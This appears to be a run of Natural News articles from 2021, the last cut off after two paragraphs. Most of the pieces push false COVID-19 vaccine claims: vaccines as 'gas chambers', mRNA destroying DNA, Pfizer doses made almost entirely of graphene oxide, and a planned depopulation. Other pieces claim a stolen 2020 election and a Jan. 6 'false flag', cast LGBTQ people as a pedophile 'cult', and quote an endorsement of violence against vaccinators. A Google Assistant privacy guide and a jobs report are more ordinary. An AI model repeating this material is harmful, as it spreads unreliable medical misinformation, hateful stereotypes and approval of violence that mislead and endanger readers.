(Natural News) Have you noticed that procrastination and hesitation are to blame for low vaccination rates across America, instead of blaming vaccine-induced injuries and vaccine-induced deaths of pandemic proportion? Vaccine promoters and fanatics describe anyone who refuses the deadly China Flu jabs as experiencing hesitancy and guilty of procrastination because those fanatical vax-freaks dont want to talk about all the injuries and deaths caused by the Covid vaccines, and vaccines in general, as the true cause.

Anyone who has not gone through with the gene therapy, blood-clotting, heart inflaming inoculations for China Flu are not hesitant or procrastinating. Were not talking about crossing a busy street or putting off mowing the lawn here. We talking about deadly, invasive medical procedures where the risks far outweigh the benefits, if there even are any.

We see little hashtag slogans flooding social media, like #VaccinateDontProcrastinate and #VaccinationNotHesitation, to pretend like people who are informed about vaccine dangers are just riding the fence or putting off the chore, but none of those people exist. The CDC and WHO are trying to downplay the dangers of vaccination, like the Nazis explained to the Jews who didnt want to board the trains that they were just going to ghettos were they will be joined by like people.

The Nazis also told the Jews they were going into mass shower facilities, when in fact the SS police were dropping deadly insecticide pellets in the air ducts and trapping the Jews until they were gassed to death. Nothing to see here except some stinky smoke from the processing plant. Anyone with gas chamber hesitancy should stop procrastinating and walk on in. Right? Maybe instead the hash-tag slogan should be something catchy like, #VaccineGasChamberHesitancy or #VaccineInducedDeathProcrastination.

How can the CDC and FDA convince the other 50% of Americans that the vaccine gas chambers are safe and effective?

The mass media in America is very powerful. So powerful, in fact, that if every major network, newspaper and website announced today that there was a deadly Xi version of the Chicken Pox going around, half of all Americans would shelter in place with their masks on until a safe and effective vaccine was invented for the new Chicken Pox Xi variant. Its like everybody already forgot about all the other fake pandemics, including Swine, Measles and Zika.

Whats next, is the question. Will there be pre-cancer-chemo for people who might get cancer? Are you perfectly healthy, but experiencing pre-cancer-chemo hesitancy? Have you been putting off your pre-cancer-surgery to remove both breasts, your uterus, or both testicles, before you are even diagnosed with cancer? You do know thats real, right, those pre-cancer double mastectomies? Yes, Hollywood promotes those heavily, along with the mutilation of childrens private parts.

These Covid vaccines cause blood clots, central nervous system disorders, deadly heart inflammation, loss of vision, loss of hearing, and loss of motor skills. Are you hesitant about suffering from all of these horrific, life-threatening adverse events?

Time to overcome your senseless fears, procrastination, and hesitancy about the gas chambers?

Are you procrastinating getting all of these side effects induced in your body and brain so you wont catch the common cold or the flu? You must be a right wing extremist or something. Youll be getting a friendly visit from Jill Biden and some armed FEMA goons (SS-Vaccine-Police) called Strike Force soon to end your hesitancy and that nagging procrastination problem.

No worries. There are re-education camps in America where you can be bussed or taken by train where the CDC and FDA can help you overcome (by forced vaccination at gunpoint) your petty fears and dispel those senseless myths about the gas chambers (dirty Covid vaccines).

Are you suffering from CoVax Syndrome? Covid-19 vaccines are not safe or effective; theyre unsafe and defective. Visit CovidVaccineReactions.com if you already got a dirty jab or two and feel like youre sick and dying. Then call an attorney. Also check out Pandemic.news for updates on these crimes against humanity and the upcoming vaccine holocaust.

Sources for this article include:

Pandemic.news

NaturalNews.com

TruthWiki.org
(Natural News) While more and more proof keeps emerging that Covid was a long-planned globalist operation to usher in a new world order, further enslave the free people of America and allow mass mail-in voting fraud across the country to install Joe Biden as US president, this new story over at MedicalXPress reports there is growing pressure in place across the planet to make the jab mandatory, putting pressure on so-called anti-vaxxers worldwide.

(Article by Stefan Stanford republished from AllNewsPipeline.com)

Reporting within that story that a growing number of countries and territories around the world are forcing people to be vaccinated against COVID-19, yup, against their wishes, the leftists favorite phrase while theyve been murdering their own unborn babies the past several decades, my body, my choice, is about to take a whole new meaning in America.

As Christopher Langan, called the smartest man in the world by the mainstream media, recently warned, should such a moment in time as forced vaccinations arrive in America:

Its easy to see where this leads, and its nowhere good. Personally, Im willing if necessary to do severe physical harm to anyone attempting to force one of these injections on me, and the same should be true of any other decent self-respecting person.

And with this new story over at Mediaite reporting that according to CNN, most of the latest new cases of Covid are happening in Trump-voting states, while Biden-voting states are seeing few new cases, its now easy to see how the globalists are setting this all up to help usher in their end game for America.

As this new story at the Daily Mail reports, Joe Biden will be calling upon Americans to go door to door across the country, urging their fellow Americans to take the jab, so can you imagine where this is heading as the globalists get desperate to inoculate everybody, but the masses say no? And just imagine Bidens jabbers going door to door in the near future, would you talk with them if they come a knocking? If they refuse to leave, wed just feed them to Hootie. If anyone does decide to visit your homes imploring you to get the jab, PLEASE get videos of the interactions! With Bidens jabbers unleashed upon America, should be a lot of video gold out there in the near future!

With the globalists long pushing their satanic depopulation agenda that seeks to cull the worlds population, whittling it down to 500 million people in due time as expressed on the mysterious Georgia Guidestones, Americans continue to serve their families and loved ones best by arming up and preparing for bear in the days ahead with what looks more and more every day like tyranny encroaching as warned by Congresswoman Marjorie Taylor Greene who claims these Biden jabbers remind many of medical brown shirts, pushing America ever closer to medical martial law.

One who uses coercion is guilty of deliberate violence. Coercion is inhuman. ~Mahatma Gandhi

In this new story over at the NOQ Report titled The Real Reason Theyre Pushing Vaccines So Hard is Both Ludicrous and Terrifying, they warn: one doesnt have to be an anti-vaxxer or conspiracy theorist to apply logic to this whole scenario and realize things arent as they seem. From that story before we continue.:

When writing an opinion piece with a reveal, it behooves authors to build up to their climax in which they announce their profound findings in or near their articles conclusion. In this case, Im supposed to set up my reveal of the real reason theyre pushing vaccines so hard. Im choosing to explain what it is first, then I will demonstrate why this is not only true but also ludicrous and very concerning.

The answer is annoyingly simple on the surface, but when we dig into the motives of those who are actually in power over this situation, we realize just how complex it all is. They  government et al  are pushing the Covid-19 vaccines with everything they have because theyre being told to do so. See, simple. Of course, the first question that people will ask is Who is telling them to do it? The second question would be Why? And thats where it all gets complicated.

How They Control the Narrative

First, we have to understand the hierarchy of powers so we can grasp the flow of information. The powers-that-be  which is not necessarily the various governments  did not contact every politician, doctor, journalist, professor, and Big Tech censor and say, Push the vaccines you guys. They set the agenda from the very top and trickled it down using various means of control over the perceived powers in government, healthcare, and information dissemination. These different means of control are usually embodied by the insider- or expert-information bestowed on the recipient.

For example, simpleton leaders in government and media were sold on the notion that the vaccines will bring an end to Covid-19. This is ludicrous on every level because the powers-that-be have known from the start that these arent really vaccines. They wont eliminate Covid-19 like actual vaccines virtually eliminated Polio. At best, these injections stave off certain variants of Covid-19 by forcing the body to unnaturally create antibodies.

Without getting too scientific, the natural way to get the body to create antibodies through vaccines is to use a dead or weakened version of the virus that the body can easily fight off, at which point it will produce antibodies that protect against future infections. Over time, fewer infected people means fewer people can get infected and diseases like the measles become rare.

The unnatural method used by the mRNA and spike-protein injections known as Covid-19 vaccines does not use weakened or dead versions of the coronavirus. They take an experimental approach to trick the body into thinking it needs to create antibodies. This experimental approach has proven to be disastrous in the past, but those invested into it have persisted for nearly two decades to try to perfect the techniques.

Contrary to popular belief and propaganda, Big Pharma did not suddenly find the solution that has been elusive all this time right when Covid-19 hit. They took what they had which had been marginally successful  or at least less dangerous  and sold it as completed science. Its not even close and based on what many medical researchers have said in the past, it may not be possible for these techniques to ever work properly.

With the delta variant of Covid-19 that the globalists have been direly warning about for the past few weeks now so yesterday with the arrival of a new deadly variant, the so-called Lambda variant now spreading across the world, weve been warned over and over again that for the globalists to keep the pressure on and the lockdowns coming, theyll just keep on coming up with new variants. And walla!

Anything at all to make sure that the American people dont find out about the deep state funding the Wuhan China lab where this beast was engineered, allowing fake ballots galore to be created and mailed in without identification, thus allowing Joe Biden and Democrats to steal the 2020 election. Sorry, devil-rats, definitely NOT buying it! Biden is an illegitimate president and you installed him via coup.

The Vax was Not brought in for Covid, Covid was brought in for the vax. Once you realize that, everything else makes sense  Dr Reiner Fuellmich. Attorney for Covid Crimes Against Humanity.

So with the mainstream media, entire Democrat party and the dumbed down masses of 2021 the proverbial see no evil, hear no evil, speak no evil , this new Gateway Pundit story reporting a Vaccinated Israeli Student Catches COVID from Vaccinated Relative and Then Infects 83 High School Students is just the latest reason to avoid the globalist vax as if it were the plague, especially while the globalists keep insanely screaming: But Please Take your Vaccines!

With the USA Today reporting that half of the US is now seeing rising Covid cases the latest sign of where this is all headed in the days ahead, especially with them insanely believing that the vax is a cure and the unvaxxed are a danger to the rest of them, compulsory jabs are surely ahead. From this previously mentioned MedicalXPress story.

A growing number of countries and territories around the world are forcing people, often in specific sectors, to be vaccinated against COVID-19. Here is a roundup:

Mandatory in Tajikistan, Vatican Tajikistan and the Vatican are among the rare countries imposing vaccinations on all adults.

In ex-Soviet Tajikistan the official news agency has published a government decree obliging all over 18s to be vaccinated, without giving further details.

In the Vatican, the worlds smallest state, vaccinations were made obligatory for residents and workers in February, with those refusing liable to be sacked.

Italy

Several countries or territories have imposed vaccinations on certain sections of the population.

Italian doctors and health workers in the public and private sector must get vaccinated or face being banned from working directly with patients.

A group of 300 Italian health workers have gone to court to try to get the obligation overturned and a hearing is scheduled on July 14.

Britain

On June 16 the British government announced all care home staff in England will need to be fully vaccinated. If approved by parliament, the new legislation means anyone working in a care home must have two doses of a vaccine from October unless they have a medical exemption. The rules will apply to all workers employed directly by the care home, as well as to agency workers and volunteers.

Russia

President Vladimir Putin is against mandatory vaccinations nationwide.

The mayor of Moscow Sergei Sobyanin ordered mandatory jabs for residents of the Russian capital working in the service industry on June 16.

Some 60 percent of all service industry workers in Moscowjust over two million peoplewere ordered to be fully vaccinated by August 15.

Since then other localities have taken similar measures, including badly-hit Saint Petersburg.

Kazakhstan

Kazakhstan on July 1 ordered mandatory coronavirus vaccinations for a wide range of workers who come into contact with others.

Those who refuse will be restricted from working face-to-face with other people.

United States

The city of San Francisco has announced it will require all municipal employees to be vaccinated or they could face penalties up to and including dismissal.

The new rule will not take effect until the vaccines have received full approval from the US Food and Drug Administration, which has so far given the green light for their use on an emergency basis due to the pandemic.

More than 150 employees at the Houston Methodist Hospital in Texas have already been fired or resigned after failing to comply with orders to get a shot.

So with Bidens jabbers sure to come knocking on Americans doors in the days ahead, while one medical doctor warns its too early to know if the vaccines will cause infertility another sign this is all part of the globalists sinister depopulation agenda, while all across America and the world, a huge mental health crisis is unfolding, nobody should be at all surprised by whats happening with Covid nothing less than an act of war upon America via a bioweapon our own government helped to fund and create.

Read more at: AllNewsPipeline.com and JoeBiden.news
(Natural News) Thanks to Donald Trumps Operation Warp Speed scheme, drug giant Moderna is slated to rake in record profits this year with a revenue forecast of a whopping $19.2 billion.

Tony Fauci also contributed by laundering gobs of taxpayer cash to Moderna through his National Institute of Allergy and Infectious Diseases (NIAID), which also received $25 million from the Defense Advanced Research Projects Agency (DARPA) back in 2013 to develop messenger RNA (mRNA) technology.

The Cambridge, Mass.-based pharmaceutical company was suffering greatly in 2018, prompting it to issue one of the biggest initial public offerings (IPOs) that year. After that, the cash really started flowing, leading the company to where it is today.

At the time, the less than ten-year-old firm suddenly had a $7.5 billion valuation  all on approximately $200 million in revenues with roughly $475 million in operating expenses, reports indicate.

Fast forward to Q1 of 2021, the biotech company generated $1.73 billion in COVID-19 vaccine-related revenue and achieved profitability for the first time. Their annual forecast hits a staggering $19.2 billion thanks to the convergence of the pandemic and government subsidy.

As we reported last summer, Moderna is nothing more than a pump-and-dump scam, just like most of the rest of the American stock market  except in this case, people are dying while having their DNA permanently destroyed through mRNA reprogramming.

Moderna CEO Stephane Bancel admitted during a recent interview that up until the Chinese Virus plandemic, Moderna had never once run a single phase-three clinical study, nor did it ever get a product authorized by regulators. All of this changed, of course when the Trump administration paved the way for Moderna to become a financial superstar.

Trumps own Vaccine Czar owns a large slug of Moderna call options. Some have called for him to sell them because of the obvious conflict, warned Mike Adams, the Health Ranger, last spring.

Trump gave billions to Moderna to unleash DNA-reprogramming mRNA injections

Last April, Moderna received yet another cash injection from the Department of Health and Human Services (HHS) Biomedical Advanced Research and Development Authority (BARDA) for $483 million. Two months later, BARDA sent over another $472 million, and by August the company was gearing up to unleash its mRNA jab on the world, thanks to a Trump administration contract for an initial 100 million doses.

The Trump administration agreed to award Moderna $1.525 billion for these 100 million doses, with the option to purchase another 400 million doses later on down the road. This, by the way, is why this writer will often refer to them as Trump Vaccines, because they are just as much his as they are Faucis.

We appreciate the confidence of the U.S. government in our mRNA vaccine platform and the continued support, Bancel announced at the time, proud of his relationship with Trump.

We are advancing the clinical development of mRNA-1273 with the ongoing Phase 3 study being conducted in collaboration with NIAID and BARDA. In parallel, we are scaling up our manufacturing capability with our strategic partners, Lonza, Catalent, and Rovi, to address this global health emergency with a safe and effective vaccine.

Modernas expected $19.2 billion in revenue this year exceeds an earlier estimate of $18.4 billion. Either way, Moderna is rolling in the dough as tens of thousands of people who took its jabs are already rolling in their graves.

It is also important to note that Moderna is now sitting on a whopping $8 billion in cash, which begs the question: why is the federal government still subsidizing Modernas KidCOVE study on children?

The American system under both Democrats and Republicans is unspeakably evil, in case you have not figured that out yet.

The latest news about Chinese Virus injection deception can be found at ChemicalViolence.com.

Sources for this article include:

UncoverDC.com

NaturalNews.com

NaturalNews.com
(Natural News) Public health experts are claiming that fully vaccinated Americans are helping spread the post-vaccine delta variant of the Wuhan coronavirus (COVID-19).

Many states with high vaccination rates are reporting sharp surges in COVID-19 cases. The delta variant makes up around half of all active cases. Despite this, many so-called public health experts are still encouraging people to get vaccinated to curb transmission.

Christopher Murray, director of the Institute for Health Metrics and Evaluation, believes one possible way the delta variant is spreading is being overlooked: with the help of vaccinated individuals.

The current policy of the Centers for Disease Control and Prevention (CDC) recommends that vaccinated people not be tested for COVID-19 unless they are symptomatic. To Murray, this indicates that the CDCs data does not show the true extent of the delta variants spread.

We actually have states where hospitalizations are going up more than cases, said Murray, noting that state-level coronavirus data shows that the delta variant has spread rapidly across the country.

We have 14 states where transmission has started to go back up due to the delta variant, said Murray. Additional data shows that 16 other states are seeing a rise in their number of COVID-19 infections.

Murray noted that the same situation can be seen in Scotland. More than 71 percent of people in Scotland have received at least one dose of the coronavirus vaccine and more than half are fully vaccinated. The country is still suffering its worst wave of COVID-19 infections.

You cannot explain the explosive epidemic in Scotland, in a highly vaccinated population, if theyre not playing a role in transmission, said Murray.

He added that studies were underway investigating COVID-19 outbreaks among groups that are 90 percent-plus vaccinated.

That could only be occurring if theyre transmitting amongst each other, he said. Theres no doubt in my mind. (Related: Its the VACCINATED who are speeding up the evolution of variants and spreading them to others, including the Delta Variant.)

Public health experts blaming low vaccination rates delta variants spread

To Murray, transmission among the vaccinated population explains why states with high vaccination rates like Washington, New York, Illinois and California are seeing a surge in coronavirus cases.

According to CDC data, the prevalence of the delta variant in the U.S. has doubled since late June and early July, when it made up 26 percent of new cases. Now it makes up nearly 52 percent of all recent infections.

The delta variant has been detected in all 50 states. Along with the four aforementioned states, the variant is also spiking in states like Missouri, Kansas, Iowa, Connecticut and Arkansas. Health experts claim without evidence that the low vaccination rate of some of these states is responsible for the recent surge in cases.

Were already starting to see places with low vaccination rates starting to have relatively big spikes from the delta variant, said Dr. Ashish Jha, dean of the Brown University School of Public Health.

But Connecticut is the fourth most vaccinated state in the country, with 73.3 percent of its adult residents fully vaccinated. Both Iowa and Kansas also have more than 50 percent of their adult residents fully vaccinated. Missouri and Arkansas have fully vaccinated adult populations of over 40 percent.

Similar situations can be found in other settings with high vaccination rates. Los Angeles County and New York City are experiencing surges in coronavirus cases. Over 60 percent of residents aged 16 and up in Los Angeles County are fully vaccinated. Nearly 67 percent of all adults in New York are fully vaccinated as well.

Learn more about the connection between the coronavirus vaccines and the delta variant at Vaccines.news.

Sources include:

DailyMail.co.uk

BusinessInsider.com

TheHill.com

IBTimes.com

NYTimes.com
(Natural News) People who own a Google Home or Google Nest device in their residences may have been unnerved by the discovery that the smart assistant is recording them. The finding was proven true in 2019 when Google admitted that it allowed its employees access to Google Assistant voice clips from customers devices. While the Big Tech firm changed its stance following the fiasco, many have raised concerns about this invasion of privacy.

According to a July 2019 report by The Hindu, more than 1,000 recordings from smart assistant devices were obtained by Belgian television station VRT. The Belgian broadcaster noted that some of the recordings contained sensitive information and details that identified certain people. In some audio clips, VRT reporters were able to hear home addresses being spoken and were even able to track them down.

The report added that some of the conversations were not directed at Google Assistant. Rather, these were either captured as background noise or as mistaken recordings where the smart assistant thought it was being spoken to  but was not. Google said that no user account information was associated with the leaked Dutch-language recordings.

Google Product Manager David Monsees acknowledged the fact that humans can access smart assistant recordings through a blog post. He noted that contractors listen to Google Assistant recordings to better understand language patterns and accents, improving speech recognition.

These language experts review and transcribe a small set of queries to help us better understand those languages. This is a critical part of the process of building speech technology, and is necessary to create products like the Google Assistant, Monsees wrote in the post.

The product manager nevertheless added that the company would investigate how the recordings leaked. We are conducting a full review of our safeguards in this space to prevent misconduct like this from happening again, he said.

Fortunately, Google Assistants recording can be turned off

Google Assistant is installed on more than 1 billion devices, including smart phones and smart speakers. While the recording function on Google Assistant is actually turned off by default, it prompts users to turn on the function to unlock personalized features.

Google smart speakers have made a dent in the smart speaker market, but still trailed behind Amazon. In early 2019, the Jeff Bezos-helmed tech giant confirmed that contractors also listen in on recordings obtained by Amazon Alexa speakers.

Google has changed its policies since Monseess admission. Following the backlash, it has now required Google Home or Google Nest users to opt in to voice searches being recorded in the first place. However, other Google apps may still be recording voice searches  without giving users a choice.

Fortunately, users can check if Google has indeed stored records of voice searches and other queries. They can find all Google activity in the My Activity section of the account  including Google Maps entries and search engine queries. The Google Home app also allows users to listen back to their own voice search history, if these were recorded.

Turning off voice and audio recording

Users can easily delete their voice search history  and turn off recording through a personal computer or a smartphone.

To delete Google Assistant voice recordings on a desktop or laptop, users need to visit myactivity.google.com. They should make sure to sign in using the account connected to the Google Home or Google Nest device. They should click on the Web & App Activity section and head to Manage Activity. Afterward, they should click on Filter by date and product and check Voice and Audio in the list of Google products.

A chronological list of commands will be displayed after hitting the enter button. These commands can then be deleted one by one, or in bulk by means of setting a date range.

Deleting Google Assistant recordings using a smartphone follows the same process. Users who wish to delete their Google activity should open their phones browser and visit myactivity.google.com. Afterward, the Filter by date and product option should be clicked and the Voice and Audio selection should be checked.

However, users doing this via the Google Home app will be unable to filter commands by date and product. Because of this limitation, stored activities can only be deleted one by one.

Furthermore, Googles automatic saving of audio and voice commands can be stopped  at the cost of deactivating Google Assistants voice search function. Those using a personal computer can click the Settings bar in the top left corner of myactivity.google.com. Afterward, they should click Activity Controls on the menu and turn off Audio Recordings.

A dialog box will appear and explain what pausing the voice and audio recording function means. Clicking I Agree will turn off the function, while clicking No thanks will keep the default setting.

Meanwhile, those using the mobile app can tap the profile icon on the top right. They should then tap My Activity followed by Saving Activity, and turn the feature on and off from there.

TechGiants.news has more articles about how Google tracks people through their smart speakers.

Sources include:

The-Sun.com

TheHindu.com
(Natural News) A representative from Moderna has admitted that the companys Wuhan coronavirus (COVID-19) vaccine is experimental, and everybody who takes it is part of a clinical trial.

This admission was recorded during the June 22, 2021 episode of The Stew Peters Show by the independent conservative reporter and political commentator Stew Peters.

During that days episode, Peters played an audio recording made by a woman who developed Guillain-Barre syndrome after receiving the Moderna vaccine.

Guillain-Barre syndrome is an autoimmune disorder. It causes the bodys immune system to attack its own nerves. Its first symptoms include weakness and a tingling sensation in the extremities. This then rapidly spreads and eventually leads to whole-body paralysis. The womans doctor believes she got Guillain-Barre from the coronavirus vaccine.

The womans physician, a neurologist, filed an adverse event report with the Vaccine Adverse Events Reporting System. But the woman decided this was not enough and wanted to take it up with Moderna. She called the company and spoke with a representative who was not surprised to hear about her injury.

During the call, the Moderna representative read her a disclaimer:

The Moderna COVID-19 vaccine has not been approved or licensed by the Food and Drug Administration, but it has been authorized for emergency use by the FDA under an emergency use authorization to prevent coronavirus disease 2019, for use in individuals 18 years of age and older. There is no FDA-approved vaccine to prevent COVID-19. The EUA for the Moderna COVID-19 vaccine is in effect for the duration of the COVID-19 EUA declaration, justifying emergency use of the product unless that declaration is terminated or the authorization is revoked sooner.

In addition to this admission that the vaccines are experimental, the Moderna representative pointed out that all of its clinical trial phases are still ongoing and that the company still does not know the vaccines long-term protective efficacy.

When the woman asked the representative if everybody who gets Modernas vaccine is a part of the companys clinical trial, the spokesperson replied, pretty much, yeah. This means that millions of people all over the world are guinea pigs in a clinical trial that they have not specifically signed up to participate in. (Related: CEO of COVID-19 vaccine maker Moderna worked with Big Pharma billionaire pal of Chinas Xi while promoting lab where virus escaped.)

Other coronavirus vaccines also causing people to develop Guillain-Barre syndrome

Rebeca Cruz-Esteves, a resident of the Manayunk neighborhood of Philadelphia, also developed Guillain-Barre. On March 17, she received her first dose of the Pfizer-BioNTech COVID-19 vaccine.

Less than 15 minutes after she received her dose, she experienced an anaphylactic reaction to the vaccine. Over the next few days, her symptoms progressed. She started experiencing muscle spasms, twitches and stiffness in her legs and biceps. She experienced memory fog, declining eyesight in one eye and a whole host of other neurological symptoms. Eventually, she was diagnosed with Guillain-Barre.

Cruz-Esteves story shows that the woman on Peters program is not unique. Worse yet, it shows that this situation is not limited to Modernas vaccines. In fact, the FDA has already acknowledged 100 cases of Guillain-Barre syndrome associated with the Johnson & Johnson COVID-19 vaccine.

The Centers for Disease Control and Prevention (CDC) also admitted that the vaccines can cause Guillain-Barre syndrome. But in the agencys statement, the CDC claimed the reports were rare but indicated that the syndrome is a side effect of the vaccine.

These cases have largely been reported about two weeks after vaccination and mostly in males, many aged 50 years and older, added the CDC.

According to the FDAs own data on the matter, 95 of the 100 cases resulted in hospitalization and at least one person died.

This is the second time that the Johnson & Johnson vaccine has been linked to dangerous side effects. Back in April, health officials temporarily halted the use of the vaccine after dozens of women developed blood clots after receiving the vaccine. At least three of the cases were fatal.

Learn more about the adverse events associated with the coronavirus vaccines by reading the latest articles at Vaccines.news.

Sources include:

WakingTimes.com

MayoClinic.org

WHYY.org

BusinessInsider.com
(Natural News) Researchers from Spain have discovered that the Pfizer-BioNTech Wuhan coronavirus (COVID-19) vaccine contains graphene oxide.

The research team from the University of Almerias Department of Engineering recently published a report titled Graphene Oxide Detection in Aqueous Suspension: Observational Study in Optical and Electron Microscopy.

In this study, the Spanish researchers found that each dose of the Pfizer vaccine they examined contained around 747 nanograms of graphene oxide. This meant that more than 99 percent of the Pfizer vaccine was made up entirely of graphene oxide.

Graphene oxide, a material formed from graphite, is a known toxic substance. Previous studies have shown that graphene-based materials like graphene oxide can cause dose-dependent toxicity. It can damage the liver and the kidneys, spur on the formation of granulomas in the lungs, decrease cell viability and trigger cell apoptosis or pre-programmed cell death.

Animal studies have found that injection of graphene oxide in the body deposits the toxic substance in the lungs, liver, spleen and kidneys. Researchers have also reported difficulty in cleansing the material out of the body.

Many face masks being peddled by corporations are coated or lined with graphene. (Related: Wearing face masks coated in graphene can cause serious lung problems, warns Health Canada.)

In their report, the Spanish researchers also discovered significant amounts of graphene oxide in the swabs used in polymerase chain reaction and antigen tests. These tests are used supposedly to detect COVID-19.

Medical expert: No reason for graphene oxide to be in vaccines except to murder people

The revelation regarding the Spanish report and the graphene oxide in the Pfizer vaccines first came to light after it was reported by conservative commentator Stew Peters on his show, The Stew Peters Show.

Peters brought medical expert and 20-year pharmaceutical researcher Dr. Jane Ruby onto the July 8 episode of his show to talk about what graphene oxide is and its effects on the human body.

Listen to the entire conversation between Peters and Ruby on The Stew Peters Show here:

During his show, Peters asked Ruby if graphene oxide is poisonous. She responded by saying, It is most definitely a poison. Ruby then went on to explain some of the ways graphene oxide is dangerous to people. She said:

It destroys literally everything inside the cell. It explodes the mitochondria. It creates a situation where the body is on a 10-alarm fire truck and inflammation, cytokines, chemokines. This is incredibly violent inflammatory storm comes in and it has particular affinity for creating acute inflammation of the lungs, it creates an inflammatory storm in cardiac tissue and in brain tissue Theres no other reason for this to be in [the vaccines] except to murder people.

Peters agreed with Rubys conclusion. He added his concern regarding why the discovery of graphene oxide in the vaccines is not being reported more widely by mainstream media outlets. His only conclusion is that these corporations must also be involved.

Theyre in on it. They want you dead. Theyre part of the murder plot, he said.

Ruby agreed with Peters assessment. She speculated that the only other explanation would be that the mass production and vaccination of people with the Pfizer vaccines is a mass-uninformed, without-consent global experiment.

Peters added by noting that the supposed efficacy and success rate of the Pfizer vaccine against COVID-19 was broadcast everywhere.

How can they prove that? Was that just a lie? Did they just make up an arbitrary number? Peters asked.

Ruby rounded out her conversation with Peters by noting that, according to the Spanish researchers, many of the symptoms most commonly associated with COVID-19 could also be caused by excess levels of graphene in the body.

She then warned that Pfizer and other pharmaceutical corporations were in the process of developing an inhalant version of the vaccine. This inhalant version would be more potent because it will go right into the lungs. It creates a pulmonary storm of pneumonia right away, said Ruby.

The medical expert then warned that, if this version of the vaccine is granted emergency use authorization, the number of sudden deaths due to respiratory flash cases of pneumonia will surge.

Learn more about whats really in the coronavirus vaccines by reading the latest articles at Vaccines.news.

Sources include:

NaturalHealth365.com

Z3News.com

ScienceTimes.com

RedVoiceMedia.com
(Natural News) Maura Priest, an assistant professor and bioethicist at Arizona State University (ASU), wants parents who refuse to go along with the transgender mutilation agenda to be forcibly separated from their children by the government.

In an op-ed she had published in the Journal of Medical Ethics, Priest wrote that parents should lose veto power over most transition-related [pediatric] care whenever they defy the wishes of their children who decide they want to take gender-bender drugs or undergo transition surgery to become an LGBTQ.

Should a trained medical scientist or professional determine that a childs wishes are valid, based on an informed and competent desire to change genders, this, Priest contends, should override any and all parental opposition in the matter.

If the medical community is to take LGBT testimony seriously (as they should) then it is no longer the job of physicians to do their own weighing of the costs and benefits of transition-related care, Priest says.

Assuming the patient is informed and competent, then only the [child] patient can make this assessment, because only the patient has access to the true weight of transition-related benefits.

In other words, youth and their trans-affirming doctors should be able to make life-altering decisions without any involvement from parents, according to Priest. And should parents continue to refuse their childrens LGBTQ wishes, then parents must be cut off from being in their lives.

Taking LGBT patient testimony seriously also means that parents should lose veto power over most transition-related [pediatric] care, Priest says.

A snapshot of Priests paper can be accessed at this link.

The Journal of Medical Ethics is anti-child and anti-science

The fact that the Journal of Medical Ethics would publish this type of authoritarian tripe shows that it is neither trustworthy nor scientific, and it does not respect parental authority.

The Journal of Medical Ethics is also anti-child, supporting a heinously evil agenda that will cause many children to have their lives forever ruined by the Cult of LGBTQ, which is eating them alive at breakneck speed.

This cult is now openly admitting that it preys on innocent children in order to convert them into its religion, which centers around dogmas of sexual deviance, pedophilia, and other unspeakable evils.

While Priests article holds no legal or regulatory power, its publication does expand the range of what like-minded judges, doctors, and politicians might try to argue in favor of stamping out parental authority over their own children when it comes to matters of LGBTQ conversion or transition.

We are already seeing corrupt governments side with gender dysphoric children rather than their parents, allowing little ones who have been enticed into the Cult of LGBTQ to cut off body parts and take hormone-destroying pharmaceuticals in an attempt to become their real selves.

It is a sick, sick agenda that has already resulted in thousands of young boys and girls destroying their own biology, forever. Many of these procedures and therapies cannot be reversed, meaning these children will end up suffering immense anguish once they realize what they have done, resulting in many of them taking their own lives later on down the road.

The Biden regime, by the way, is fully supportive of the LGBTQ destruction of Americas youth. China Joe is planning to send taxpayer dollars to trans clinics to help more children ruin their own natural biology against their parents wishes, proving that he, too, is anti-children and anti-parents.

More related news about the Cult of LGBTQ and its relentless efforts to destroy childrens lives can be found at Evil.news.

Sources for this article include:

Breitbart.com

Archive.is

NaturalNews.com

NaturalNews.com
(Natural News) We have documented six ways to Sunday how the so-called riot at the U.S. Capitol building on Jan. 6 was a false flag incident devised by the anti-Donald Trump deep state.

We have also noted that prior to Jan. 6, Democrats, for the past two decades, have frequently objected to presidential electors from various states, and generally for lousy reasons. None of their objections ever required any congressional action because they couldnt get a Democrat from both the House and Senate to object, thereby triggering a revote in each chamber for electors.

But none of that matters to the wokester CEOs of the worlds biggest corporations because their entire existence outside of perpetuating capitalism (a good thing  that is when theyre not bashing it for show) is virtue signaling to the perpetually angry left.

Add Toyota to the list.

Japan Today reports:

Toyota has reversed itself and now says its political action committee will no longer contribute to the Republican legislators who voted against certifying Joe Bidens presidential election victory.

The move by the Japanese automaker comes after a social media backlash over the contributions, including threats to stop buying the companys vehicles.

We understand that the PAC decision to support select members of Congress who contested the results troubled some stakeholders, Toyota said in a statement Thursday. We are actively listening to our stakeholders, and at this time, have decided to stop contributing to those members of Congress who contested the certification of certain states in the 2020 election.

First and foremost, this is fake because backlash on social media is mostly fake, especially on Twitter, where these woke corporate types seem to go for reaction to their policies. There are so many bots and fake accounts on Twitter you literally can barely trust anything anyone who isnt verified or well-documented says.

So really, these decisions are all political; they have nothing to do with reacting to the concerns of customers.

Last week the website Axios reported that Toyota led companies in donations to the 147 members of Congress who voted in January against certifying election results on the false grounds that the election was stolen from then-President Donald Trump, Japan Today continued.

The Axios report, based on data gathered by Citizens for Responsibility and Ethics in Washington, said that Toyota donated $55,000 to 37 Republican objectors this year. That number was more than double the amount donated by the second-highest donor, Cubic Corp., a defense contractor in San Francisco, the paper added.

Wow. Fifty-five grand spread out over 37 Republicans; it wasnt as though those lawmakers were going to run their entire campaigns on Toyota dollars. But really, its the idiocy of allowing a fabricated riot and phony outrage from left-wing hypocrites in the Democrat Party lead you to alienate one of the two major political parties in a country with the worlds largest GDP and economy.

Because when that party gets back in power, and it will, then payback can be a you-know-what.

Shortly after the Jan. 6 attack on the U.S. Capitol, dozens of big companies, citing their commitment to democracy, pledged to avoid donating money to the 147 lawmakers. It was a striking gesture by some of the most familiar names in business but was largely an empty one, Japan Today continued.

Six months later, many of those companies have resumed funneling cash to political action committees that benefit the election efforts of lawmakers whether they objected to the election certification or not.

The real absurdity here is that objecting to electors is a process that is written into the Constitution. And Republicans had much more reason to object to electors in key battleground states were voting rules were unconstitutionally changed just ahead of the election than Democrats who objected to George Bushs two victories and Donald Trumps 2016 win.

Toyota has made better business decisions before than this. But this is what happens when you let leftist lies guide your process.

Read Rigged.news for more coverage of rigged elections.

Sources include:

JapanToday.com

NaturalNews.com
(Natural News) Job openings in the U.S. rose to a record high for the third straight month, highlighting the intense demand for workers in a rapidly rebounding economy.

The number of available jobs on the last day of May slightly climbed to 9.21 million from 9.19 million in April, the Department of Labor reported on Wednesday, July 7. Both were well above the 8.3 million in March, which itself set the record at the time. The previously reported figure for April of 9.3 million had been revised lower.

